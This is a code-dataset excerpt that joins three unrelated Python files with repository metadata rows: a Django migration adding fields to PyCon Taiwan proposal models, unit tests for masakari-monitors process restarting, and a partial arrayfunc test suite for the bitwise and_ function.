] | 473
|
2018-12-01T13:01:48.000Z
|
2022-03-30T07:10:42.000Z
|
src/proposals/migrations/0041_auto_20200223_1659.py
|
kaka-lin/pycon.tw
|
67809a5e43b03273ac8d8f5a1b6b3d3f73474be7
|
[
"MIT"
] | 91
|
2018-07-26T02:38:59.000Z
|
2022-01-16T02:38:31.000Z
|
# -*- coding: utf-8 -*-
# Generated by Django 1.10.8 on 2020-02-23 08:59
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('proposals', '0040_auto_20190915_0202'),
]
operations = [
migrations.AddField(
model_name='talkproposal',
name='referring_policy',
field=models.BooleanField(choices=[(True, 'Yes'), (False, 'No')], default=False, verbose_name='referring policy'),
),
migrations.AddField(
model_name='tutorialproposal',
name='referring_policy',
field=models.BooleanField(choices=[(True, 'Yes'), (False, 'No')], default=False, verbose_name='referring policy'),
),
migrations.AlterField(
model_name='additionalspeaker',
name='conference',
field=models.SlugField(choices=[('pycontw-2016', 'PyCon Taiwan 2016'), ('pycontw-2017', 'PyCon Taiwan 2017'), ('pycontw-2018', 'PyCon Taiwan 2018'), ('pycontw-2019', 'PyCon Taiwan 2019'), ('pycontw-2020', 'PyCon Taiwan 2020')], default='pycontw-2020', verbose_name='conference'),
),
migrations.AlterField(
model_name='talkproposal',
name='conference',
field=models.SlugField(choices=[('pycontw-2016', 'PyCon Taiwan 2016'), ('pycontw-2017', 'PyCon Taiwan 2017'), ('pycontw-2018', 'PyCon Taiwan 2018'), ('pycontw-2019', 'PyCon Taiwan 2019'), ('pycontw-2020', 'PyCon Taiwan 2020')], default='pycontw-2020', verbose_name='conference'),
),
migrations.AlterField(
model_name='tutorialproposal',
name='conference',
field=models.SlugField(choices=[('pycontw-2016', 'PyCon Taiwan 2016'), ('pycontw-2017', 'PyCon Taiwan 2017'), ('pycontw-2018', 'PyCon Taiwan 2018'), ('pycontw-2019', 'PyCon Taiwan 2019'), ('pycontw-2020', 'PyCon Taiwan 2020')], default='pycontw-2020', verbose_name='conference'),
),
migrations.AlterField(
model_name='tutorialproposal',
name='duration',
field=models.CharField(choices=[('1.5hr', '1.5hr')], default='1.5hr', max_length=7, verbose_name='duration'),
),
]
| 48.847826
| 291
| 0.620828
| 231
| 2,247
| 5.939394
| 0.277056
| 0.120262
| 0.055394
| 0.084548
| 0.710641
| 0.710641
| 0.710641
| 0.710641
| 0.710641
| 0.710641
| 0
| 0.097561
| 0.215398
| 2,247
| 45
| 292
| 49.933333
| 0.680658
| 0.030263
| 0
| 0.710526
| 1
| 0
| 0.347886
| 0.01057
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.052632
| 0
| 0.131579
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d9bb1bb6aea915e76983914be03dd969666ce195
| 15,444
|
py
|
Python
|
masakarimonitors/tests/unit/processmonitor/process_handler/test_handle_process.py
|
iorchard/masakari-monitors
|
bcf6129798a821975ab22cff56c791c81883f5da
|
[
"Apache-2.0"
] | 11
|
2016-11-20T08:00:52.000Z
|
2020-08-31T10:25:42.000Z
|
masakarimonitors/tests/unit/processmonitor/process_handler/test_handle_process.py
|
iorchard/masakari-monitors
|
bcf6129798a821975ab22cff56c791c81883f5da
|
[
"Apache-2.0"
] | null | null | null |
masakarimonitors/tests/unit/processmonitor/process_handler/test_handle_process.py
|
iorchard/masakari-monitors
|
bcf6129798a821975ab22cff56c791c81883f5da
|
[
"Apache-2.0"
] | 10
|
2016-11-17T05:58:44.000Z
|
2019-07-01T09:10:44.000Z
|
# Copyright(c) 2016 Nippon Telegraph and Telephone Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import socket
import testtools
from unittest import mock
import ddt
import eventlet
from oslo_utils import timeutils
import masakarimonitors.conf
from masakarimonitors.ha import masakari
from masakarimonitors.objects import event_constants as ec
from masakarimonitors.processmonitor.process_handler import handle_process
from masakarimonitors import utils
CONF = masakarimonitors.conf.CONF
eventlet.monkey_patch(os=False)
NOVA_COMPUTE = 'nova-compute'
MOCK_PROCESS_LIST = [
{
'id': 1,
'process_name': '/usr/local/bin/nova-compute',
'start_command': 'mock_start_command',
'pre_start_command': 'mock_pre_start_command',
'post_start_command': 'mock_post_start_command',
'restart_command': 'mock_restart_command',
'pre_restart_command': 'mock_pre_restart_command',
'post_restart_command': 'mock_post_restart_command',
'run_as_root': True
},
]
MOCK_DOWN_PROCESS_LIST = [
{
'id': 1,
'process_name': '/usr/local/bin/nova-compute',
'start_command': 'mock_start_command',
'pre_start_command': 'mock_pre_start_command',
'post_start_command': 'mock_post_start_command',
'restart_command': 'mock_restart_command',
'pre_restart_command': 'mock_pre_restart_command',
'post_restart_command': 'mock_post_restart_command',
'run_as_root': True
},
]
PS_RESULT = \
"\n" \
"UID PID PPID C STIME TTY TIME CMD\n" \
"root 11187 1 0 18:52 ? 00:00:00 /usr/local/bin/nova-compute\n"
@ddt.ddt
class TestHandleProcess(testtools.TestCase):
def setUp(self):
super(TestHandleProcess, self).setUp()
def test_set_process_list(self):
process_list = MOCK_PROCESS_LIST
obj = handle_process.HandleProcess()
obj.set_process_list(process_list)
self.assertEqual(process_list, obj.process_list)
@ddt.data("/usr/local/bin/nova-compute", "nova-compute")
def test_make_event(self, process_name):
obj = handle_process.HandleProcess()
event = obj._make_event(process_name)
self.assertEqual(
NOVA_COMPUTE,
event['notification']['payload']['process_name'])
@mock.patch.object(utils, 'execute')
def test_start_processes(self,
mock_execute):
process_list = MOCK_PROCESS_LIST
obj = handle_process.HandleProcess()
obj.set_process_list(process_list)
mock_execute.side_effect = [('test_stdout', ''),
('test_stdout', ''),
('test_stdout', 'test_stderr')]
obj.start_processes()
mock_execute.assert_any_call(
MOCK_PROCESS_LIST[0].get('pre_start_command'),
run_as_root=MOCK_PROCESS_LIST[0].get('run_as_root'))
mock_execute.assert_any_call(
MOCK_PROCESS_LIST[0].get('start_command'),
run_as_root=MOCK_PROCESS_LIST[0].get('run_as_root'))
mock_execute.assert_any_call(
MOCK_PROCESS_LIST[0].get('post_start_command'),
run_as_root=MOCK_PROCESS_LIST[0].get('run_as_root'))
@mock.patch.object(utils, 'execute')
def test_start_processes_pre_cmd_fail(self, mock_execute):
process_list = MOCK_PROCESS_LIST
obj = handle_process.HandleProcess()
obj.set_process_list(process_list)
mock_execute.return_value = ('test_stdout', 'test_stderr')
obj.start_processes()
mock_execute.assert_called_once_with(
MOCK_PROCESS_LIST[0].get('pre_start_command'),
run_as_root=MOCK_PROCESS_LIST[0].get('run_as_root'))
@mock.patch.object(utils, 'execute')
def test_monitor_processes(self,
mock_execute):
process_list = MOCK_PROCESS_LIST
obj = handle_process.HandleProcess()
obj.set_process_list(process_list)
mock_execute.return_value = (PS_RESULT, '')
down_process_list = obj.monitor_processes()
self.assertEqual([], down_process_list)
mock_execute.assert_called_once_with(
'ps', '-ef', run_as_root=False)
@mock.patch.object(utils, 'execute')
def test_monitor_processes_not_found(self, mock_execute):
process_list = MOCK_PROCESS_LIST
obj = handle_process.HandleProcess()
obj.set_process_list(process_list)
mock_execute.return_value = ('', '')
down_process_list = obj.monitor_processes()
self.assertEqual(MOCK_PROCESS_LIST, down_process_list)
mock_execute.assert_called_once_with(
'ps', '-ef', run_as_root=False)
@mock.patch.object(utils, 'execute')
def test_monitor_processes_exception(self, mock_execute):
process_list = MOCK_PROCESS_LIST
obj = handle_process.HandleProcess()
obj.set_process_list(process_list)
mock_execute.side_effect = Exception("Test exception.")
down_process_list = obj.monitor_processes()
self.assertEqual([], down_process_list)
@mock.patch.object(utils, 'execute')
def test_restart_processes(self,
mock_execute):
process_list = MOCK_PROCESS_LIST
obj = handle_process.HandleProcess()
obj.set_process_list(process_list)
down_process_list = MOCK_DOWN_PROCESS_LIST
mock_execute.side_effect = [('test_stdout', ''),
('test_stdout', ''),
('test_stdout', '')]
obj.restart_processes(down_process_list)
mock_execute.assert_any_call(
down_process_list[0].get('pre_restart_command'),
run_as_root=down_process_list[0].get('run_as_root'))
mock_execute.assert_any_call(
down_process_list[0].get('restart_command'),
run_as_root=down_process_list[0].get('run_as_root'))
mock_execute.assert_any_call(
down_process_list[0].get('post_restart_command'),
run_as_root=down_process_list[0].get('run_as_root'))
self.assertEqual([], obj.restart_failure_list)
@mock.patch.object(utils, 'execute')
def test_restart_processes_failed_to_restart_previously(
self, mock_execute):
process_list = MOCK_PROCESS_LIST
obj = handle_process.HandleProcess()
obj.set_process_list(process_list)
restart_failure_list = [MOCK_DOWN_PROCESS_LIST[0].get('process_name')]
obj.restart_failure_list = restart_failure_list
down_process_list = MOCK_DOWN_PROCESS_LIST
obj.restart_processes(down_process_list)
self.assertEqual(restart_failure_list, obj.restart_failure_list)
mock_execute.assert_not_called()
@mock.patch.object(masakari.SendNotification, 'send_notification')
@mock.patch.object(timeutils, 'utcnow')
@mock.patch.object(eventlet.greenthread, 'sleep')
@mock.patch.object(utils, 'execute')
def test_restart_processes_pre_restart_command_retry_over(
self, mock_execute, mock_sleep, mock_utcnow, mock_send_notification):
process_list = MOCK_PROCESS_LIST
obj = handle_process.HandleProcess()
obj.set_process_list(process_list)
down_process_list = MOCK_DOWN_PROCESS_LIST
mock_execute.side_effect = [('test_stdout', 'test_stderr'),
('test_stdout', 'test_stderr'),
('test_stdout', 'test_stderr'),
('test_stdout', 'test_stderr')]
mock_sleep.return_value = None
current_time = timeutils.utcnow()
mock_utcnow.return_value = current_time
mock_send_notification.return_value = None
obj.restart_processes(down_process_list)
pre_execute_count = CONF.process.restart_retries + 1
self.assertEqual(pre_execute_count, mock_execute.call_count)
for var in range(0, mock_execute.call_count):
args, kwargs = mock_execute.call_args_list[var]
self.assertEqual(
(down_process_list[0].get('pre_restart_command'),),
args)
self.assertEqual({'run_as_root': True}, kwargs)
event = {
'notification': {
'type': ec.EventConstants.TYPE_PROCESS,
'hostname': socket.gethostname(),
'generated_time': current_time,
'payload': {
'event': ec.EventConstants.EVENT_STOPPED,
'process_name': NOVA_COMPUTE
}
}
}
mock_send_notification.assert_called_once_with(
CONF.process.api_retry_max,
CONF.process.api_retry_interval,
event)
self.assertEqual(
[down_process_list[0].get('process_name')],
obj.restart_failure_list)
@mock.patch.object(masakari.SendNotification, 'send_notification')
@mock.patch.object(timeutils, 'utcnow')
@mock.patch.object(eventlet.greenthread, 'sleep')
@mock.patch.object(utils, 'execute')
def test_restart_processes_restart_command_retry_over(
self, mock_execute, mock_sleep, mock_utcnow, mock_send_notification):
process_list = MOCK_PROCESS_LIST
obj = handle_process.HandleProcess()
obj.set_process_list(process_list)
down_process_list = MOCK_DOWN_PROCESS_LIST
mock_execute.side_effect = [('test_stdout', ''),
('test_stdout', 'test_stderr'),
('test_stdout', ''),
('test_stdout', 'test_stderr'),
('test_stdout', ''),
('test_stdout', 'test_stderr'),
('test_stdout', ''),
('test_stdout', 'test_stderr')]
mock_sleep.return_value = None
current_time = timeutils.utcnow()
mock_utcnow.return_value = current_time
mock_send_notification.return_value = None
obj.restart_processes(down_process_list)
pre_execute_count = CONF.process.restart_retries + 1
execute_count = CONF.process.restart_retries + 1
total_execute_count = pre_execute_count + execute_count
self.assertEqual(total_execute_count, mock_execute.call_count)
for var in range(0, mock_execute.call_count):
# Execute order of restart_command is the second.
execute_order = 2
if (var + 1) % execute_order == 0:
args, kwargs = mock_execute.call_args_list[var]
self.assertEqual(
(down_process_list[0].get('restart_command'),),
args)
self.assertEqual({'run_as_root': True}, kwargs)
event = {
'notification': {
'type': ec.EventConstants.TYPE_PROCESS,
'hostname': socket.gethostname(),
'generated_time': current_time,
'payload': {
'event': ec.EventConstants.EVENT_STOPPED,
'process_name': NOVA_COMPUTE
}
}
}
mock_send_notification.assert_called_once_with(
CONF.process.api_retry_max,
CONF.process.api_retry_interval,
event)
self.assertEqual(
[down_process_list[0].get('process_name')],
obj.restart_failure_list)
@mock.patch.object(masakari.SendNotification, 'send_notification')
@mock.patch.object(timeutils, 'utcnow')
@mock.patch.object(eventlet.greenthread, 'sleep')
@mock.patch.object(utils, 'execute')
def test_restart_processes_post_restart_command_retry_over(
self, mock_execute, mock_sleep, mock_utcnow, mock_send_notification):
process_list = MOCK_PROCESS_LIST
obj = handle_process.HandleProcess()
obj.set_process_list(process_list)
down_process_list = MOCK_DOWN_PROCESS_LIST
mock_execute.side_effect = [('test_stdout', ''),
('test_stdout', ''),
('test_stdout', 'test_stderr'),
('test_stdout', ''),
('test_stdout', ''),
('test_stdout', 'test_stderr'),
('test_stdout', ''),
('test_stdout', ''),
('test_stdout', 'test_stderr'),
('test_stdout', ''),
('test_stdout', ''),
('test_stdout', 'test_stderr')]
mock_sleep.return_value = None
current_time = timeutils.utcnow()
mock_utcnow.return_value = current_time
mock_send_notification.return_value = None
obj.restart_processes(down_process_list)
pre_execute_count = CONF.process.restart_retries + 1
execute_count = CONF.process.restart_retries + 1
post_execute_count = CONF.process.restart_retries + 1
total_execute_count = \
pre_execute_count + execute_count + post_execute_count
self.assertEqual(total_execute_count, mock_execute.call_count)
for var in range(0, mock_execute.call_count):
# Execute order of restart_command is the third.
execute_order = 3
if (var + 1) % execute_order == 0:
args, kwargs = mock_execute.call_args_list[var]
self.assertEqual(
(down_process_list[0].get('post_restart_command'),),
args)
self.assertEqual({'run_as_root': True}, kwargs)
event = {
'notification': {
'type': ec.EventConstants.TYPE_PROCESS,
'hostname': socket.gethostname(),
'generated_time': current_time,
'payload': {
'event': ec.EventConstants.EVENT_STOPPED,
'process_name': NOVA_COMPUTE
}
}
}
mock_send_notification.assert_called_once_with(
CONF.process.api_retry_max,
CONF.process.api_retry_interval,
event)
self.assertEqual(
[down_process_list[0].get('process_name')],
obj.restart_failure_list)
@mock.patch.object(utils, 'execute')
def test_execute_cmd_exception(self, mock_execute):
mock_execute.side_effect = Exception("Test exception.")
obj = handle_process.HandleProcess()
ret = obj._execute_cmd(MOCK_PROCESS_LIST[0].get('start_command'),
MOCK_PROCESS_LIST[0].get('run_as_root'))
self.assertEqual(ret, 1)
| 39.29771
| 78
| 0.618039
| 1,705
| 15,444
| 5.214076
| 0.113783
| 0.11631
| 0.059055
| 0.038808
| 0.826209
| 0.817098
| 0.806637
| 0.795838
| 0.784027
| 0.771204
| 0
| 0.005972
| 0.284382
| 15,444
| 392
| 79
| 39.397959
| 0.798408
| 0.043836
| 0
| 0.72381
| 0
| 0.003175
| 0.135652
| 0.020202
| 0
| 0
| 0
| 0
| 0.104762
| 1
| 0.044444
| false
| 0
| 0.034921
| 0
| 0.08254
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
d9cae4502c947170e450507cac5ad6c57e63c0bc
| 567,710
|
py
|
Python
|
unittest/test_and_.py
|
m1griffin/arrayfunc
|
df57097699c25d3e949e1ade307ed61eaa5728c2
|
[
"Apache-2.0"
] | 2
|
2017-08-28T08:41:16.000Z
|
2018-05-29T03:49:36.000Z
|
unittest/test_and_.py
|
m1griffin/arrayfunc
|
df57097699c25d3e949e1ade307ed61eaa5728c2
|
[
"Apache-2.0"
] | null | null | null |
unittest/test_and_.py
|
m1griffin/arrayfunc
|
df57097699c25d3e949e1ade307ed61eaa5728c2
|
[
"Apache-2.0"
] | null | null | null |
#!/usr/bin/env python3
##############################################################################
# Project: arrayfunc
# Module: test_and_.py
# Purpose: arrayfunc unit test.
# Language: Python 3.4
# Date: 05-Apr-2018.
# Ver: 06-Mar-2020.
#
###############################################################################
#
# Copyright 2014 - 2020 Michael Griffin <m12.griffin@gmail.com>
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
##############################################################################
"""This conducts unit tests for and_.
"""
##############################################################################
import sys
import array
import itertools
import math
import operator
import platform
import copy
import unittest
import arrayfunc
##############################################################################
##############################################################################
# The following code is all auto-generated.
##############################################################################
class and__general_even_arraysize_nosimd_simd_b(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.b_min
maxval = arrayfunc.arraylimits.b_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('b', xdata)
self.data2 = array.array('b', ydata)
self.dataout = array.array('b', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code b.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code b.
"""
pydataout = [x & y for (x, y) in zip(self.data1, self.data2)]
expected = pydataout[0:self.limited] + list(self.data1)[self.limited:]
arrayfunc.and_(self.data1, self.data2, maxlen=self.limited , nosimd=True)
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_array_e3(self):
"""Test and_ as *array-array-array* for basic function - Array code b.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2, self.dataout , nosimd=True)
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
##############################################################################
##############################################################################
class and__general_even_arraysize_withsimd_simd_b(unittest.TestCase):
"""Test and_ for basic general function operation .
test_template_binop_andorxor
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 320
if 'even' == 'odd':
testdatasize = 319
paramitersize = 5
decentre = testdatasize // 2
minval = arrayfunc.arraylimits.b_min
maxval = arrayfunc.arraylimits.b_max
# Calculate our interval, while making sure that it is not zero.
dstep = max((maxval - minval) // testdatasize, 1)
# Generate test data over the full data type range.
xdata = list(itertools.islice(itertools.cycle(range(minval, maxval, dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
xdata[-1] = maxval
xdata[decentre] = 0
xdata[decentre + 1] = 1
if minval < 0:
xdata[decentre - 1] = -1
# A list of numbers, but in reverse order to that used for 'x'.
ydata = list(itertools.islice(itertools.cycle(range(maxval, minval, -dstep)), testdatasize))
# Make sure the last value is the largest number in the range and
# that we have 0, 1, and -1 in the signed data samples as well.
ydata[-5] = maxval
ydata[5] = 0
ydata[6] = 1
if minval < 0:
ydata[4] = -1
self.data1 = array.array('b', xdata)
self.data2 = array.array('b', ydata)
self.dataout = array.array('b', [0]*len(self.data1))
self.limited = len(self.data1) // 2
# This is used for testing with single parameters. We use a limited
# data set to avoid excessive numbers of sub-tests.
self.data1param = self.data1[:paramitersize]
self.data2param = self.data2[:paramitersize]
########################################################
def test_and__basic_array_num_none_a1(self):
"""Test and_ as *array-num-none* for basic function - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_none_a2(self):
"""Test and_ as *array-num-none* for basic function with array limit - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(datax)[self.limited:]
arrayfunc.and_(datax, testval, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datax, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b1(self):
"""Test and_ as *array-num-array* for basic function - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
expected = [x & testval for x in datax]
arrayfunc.and_(datax, testval, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_num_array_b2(self):
"""Test and_ as *array-num-array* for basic function with array limit - Array code b.
"""
for testval in self.data2param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datax = copy.copy(self.data1)
pydataout = [x & testval for x in datax]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(datax, testval, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c1(self):
"""Test and_ as *num-array-none* for basic function - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_none_c2(self):
"""Test and_ as *num-array-none* for basic function with array limit - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(datay)[self.limited:]
arrayfunc.and_(testval, datay, maxlen=self.limited )
for dataoutitem, expecteditem in zip(datay, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d1(self):
"""Test and_ as *num-array-array* for basic function - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
expected = [testval & x for x in datay]
arrayfunc.and_(testval, datay, self.dataout )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_num_array_array_d2(self):
"""Test and_ as *num-array-array* for basic function with array limit - Array code b.
"""
for testval in self.data1param:
with self.subTest(msg='Failed with parameter', testval = testval):
# Copy the array so we don't change the original data.
datay = copy.copy(self.data2)
pydataout = [testval & x for x in datay]
expected = pydataout[0:self.limited] + list(self.dataout)[self.limited:]
arrayfunc.and_(testval, datay, self.dataout, maxlen=self.limited )
for dataoutitem, expecteditem in zip(self.dataout, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e1(self):
"""Test and_ as *array-array-none* for basic function - Array code b.
"""
expected = [x & y for (x, y) in zip(self.data1, self.data2)]
arrayfunc.and_(self.data1, self.data2 )
for dataoutitem, expecteditem in zip(self.data1, expected):
# The behavour of assertEqual is modified by addTypeEqualityFunc.
self.assertEqual(dataoutitem, expecteditem)
########################################################
def test_and__basic_array_array_none_e2(self):
"""Test and_ as *array-array-none* for basic function with array limit - Array code b.
"""
